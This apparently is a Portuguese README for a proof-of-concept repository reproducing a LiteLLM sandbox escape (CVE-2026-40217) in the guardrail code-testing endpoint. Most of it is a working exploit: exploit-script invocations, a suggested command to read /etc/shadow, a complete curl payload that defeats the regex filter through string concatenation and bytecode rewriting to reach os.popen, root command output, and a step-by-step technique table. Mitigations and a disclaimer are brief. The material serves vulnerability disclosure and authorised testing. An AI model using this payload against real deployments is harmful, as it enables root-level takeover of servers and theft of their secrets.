
O código para reproduzir pessoalmente a vulnerabilidade correspondente
LiteLLM
POST /guardrails/test_custom_code— Escape da Sandbox levando a Execução Remota de Código (RCE) como root na implantação padrão do Docker.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-40217 |
| CVSS | 8.8 (ALTO) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-913 (Controle Inadequado de Recursos de Código Gerenciados Dinamicamente) / CWE-94 |
| Afetado | LiteLLM ≤ 2026-04-08 (pré-v1.83.11) |
| Corrigido | v1.83.11+ (substituiu sandbox artesanal por RestrictedPython) |
| Descobridor | Markus Vervier — X41 D-Sec GmbH |
| Publicado | 2026-04-08 |
| Link | Advertência X41 • GHSA-wxxx-gvqv-xp7p • oss-security |
O endpoint POST /guardrails/test_custom_code no LiteLLM permite que usuários autenticados enviem código Python arbitrário para teste de guardrails. O endpoint tenta restringir operações perigosas usando filtragem de código-fonte baseada em regex, mas isso pode ser completamente contornado usando técnicas de reescrita de bytecode CPython, levando à execução arbitrária de código no processo do proxy. Na imagem Docker padrão, o proxy é executado como root, agravando o impacto.
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt
⚠️ Importante: O
docker-compose.ymlfixa a imagem vulnerável a um digest específico (sha256:7c311546...) de 22 de março de 2026. Não altere a tag paramain-latestou qualquer versão mais nova — imagens posteriores podem já conter a correção (RestrictedPython) mesmo que o número da versão sugira o contrário (ex.:v1.83.10-stablefoi reconstruída após o patch e não é vulnerável).
# 1. Install dependencies (if not already done)
pip install -r requirements.txt
# 2. Start a vulnerable LiteLLM instance
docker compose up -d
# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"
# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
--cmd "cat /etc/shadow"
# Or using curl directly
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/guardrails/test_custom_code \
-d '{
"custom_code": "def apply_guardrail(inputs, request_data, input_type):\n obj = str.mro()[1]\n def g(fn):\n yield fn.placeholder\n c = g(None).gi_code\n gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n for v in g(http_get):\n gd = v\n break\n bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n return {\"rce\": imp(\"os\").popen(\"id\").read()}",
"test_input": {"messages": [{"role": "user", "content": "test"}]}
}'
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}
CVE-2026-40217/
├── README.md # This file
├── docker-compose.yml # One-command vulnerable environment
├── requirements.txt # Dependencies
├── exploit/
│ ├── exploit.py # Full exploit script
│ └── payload.py # Bytecode payload module
├── docs/
│ └── advisory.md # Translated advisory details
└── screenshots/ # Proof screenshots
RestrictedPython em vez de sandbox artesanal)/guardrails/test_custom_code no seu proxy reverso / gateway de APIdocker run --user 1000:1000 ...Aviso Legal: Este conteúdo é fornecido apenas para fins educacionais e testes de segurança autorizados.
| Passo | Técnica | Código |
|---|
| 1 | Burla de regex via concatenação de strings | "_"+"_gl"+"ob"+"als"+"_"+"_" |
| 2 | Obter classe object via str.mro()[1] | obj = str.mro()[1] |
| 3 | Acessar objeto de código do gerador via gi_code | c = g(None).gi_code |
| 4 | Trocar __code__ da função via object.__setattr__ | obj.__setattr__(g, cn, c.replace(co_names=(gn,))) |
| 5 | Extrair builtins reais de http_get.__globals__ | imp = gd["__builtins__"]["__import__"] |
| 6 | Alcançar RCE via os.popen | imp("os").popen("id").read() |